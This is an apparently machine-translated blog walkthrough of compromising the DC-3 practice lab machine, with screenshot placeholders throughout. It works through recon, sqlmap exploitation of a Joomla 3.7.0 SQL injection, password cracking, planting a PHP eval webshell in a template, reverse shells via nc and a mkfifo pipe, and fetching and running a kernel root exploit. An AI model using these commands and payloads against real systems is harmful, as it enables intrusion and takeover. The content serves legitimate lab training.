DC-3 target machine penetration detailed tutorial (with target machine link)

Target machine link: https://pan.baidu.com/s/1Q3OuzI8mr-0G6AEagw_XBg
Extraction code: 0na8

First check the ip address of the local machine kali: 192.168.159.145
ifconfig
insert image description here
uses nmap to scan the IP of the target machine
nmap -sP 192.168.159.1/24
insert image description here
Check the mac address of the target machine
Open the virtual machine settings, click on the network adapter - advanced
insert image description here
match according to the mac address of the target machine The scan results of nmap confirm that the IP of the target machine is 192.168.159.141

Use nmap to perform a full scan
nmap -A 192.168.159.141 -p 1-65535 insert image description hereand find that port 80 is open, try to access it using a browser insert image description here
Use fingerprint identification to identify
whatweb http://192.168.159.141/
insert image description here
The results show that the target machine uses the Apache platform and the server is Ubuntu

Use joomscan to scan
joomscan --url http://192.168.159.141/
insert image description here
The result shows that the background of the website has been scanned, use a browser to access

http://192.168.159.141/administrator/insert image description here

The background of the website is joomla 3.7.0 template.
Find the template vulnerability
searchsploit joomla 3.7.0,
insert image description here
copy the result to the current directory and check
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomalv370_sqli.txt
cat joomalv370_sqli.txt
insert image description here
found injection Point
insert image description here
use sqlmap to list the database library name

sqlmap -u “http://192.168.159.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list [fullordering]
insert image description here
List all table names of joomladb
sqlmap -u “http://192.168.159.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 - -random-agent -D "joomladb" --tables -p list[fullordering]
insert image description here
Found #_users table
List the field types of users table
sqlmap -u "http://192.168.159.141/index.php?option=com_fields&view=fields&layout =modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering] List account passwords using the
insert image description here
john
insert image description here
tool Crack password
vim joom.txt
insert image description here
john joom.The txt
insert image description here
result shows that the password is snoopy
and enters the background to find
insert image description here
insert image description here
He told us that there is only one target of DC-3 actual combat to obtain root privileges.
There is a beez3 template in this directory.
insert image description here
insert image description here
After entering, we found that there is a new file that can edit the file. Consider uploading the Trojan.
To upload the Trojan, we must first find the current file. Directory
The directory is http://192.168.159.141/templates/beez3/html/
insert image description here
Go back to the page just now and click new file
to create a php file under html
insert image description here
Edit file
insert image description here
Here is a word Trojan horse wrong, it should be @eval($_REQUEST[ '123'])
try to access this file, and the execution is successful.
insert image description here
Use Ant Sword to connect,
insert image description here
right-click to connect to open a virtual terminal ,
and use commands to view basic information.
insert image description here
Rebound shell, kali local monitoring
nc -lvvp 2333
Ant Sword virtual terminal
nc -e /bin/bash 192.168.159.145 2333
The -e parameter is not available
Execute the command
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.145 2333 >/tmp/f can know the current
insert image description here
target Machine system is Ubuntu 16.04
searchsploit ubuntu 16.04
insert image description here
copy files
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu1604_shell.txt
Since the computer cannot access foreign websites, use the network disk to download exp
EXP resource
link: https://pan.baidu.com/s/1AeuJrP- T6elka5aZP9KL9g
extraction code: 0fkw

Be careful not to decompress the compressed package here.
Start the apache2 service of kali: service apache2 start
Copy the file to the web directory: cp -r 39772 /var/www/html
Execute the command wget http://192.168.159.145/39772 on the target machine. zip

unzip 39772.zip
cd 39772
insert image description here
tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit
insert image description here
./compile.sh

./doubleput
insert image description here
insert image description here

Guess you like

Origin blog.csdn.net/bwt_D/article/details/121291921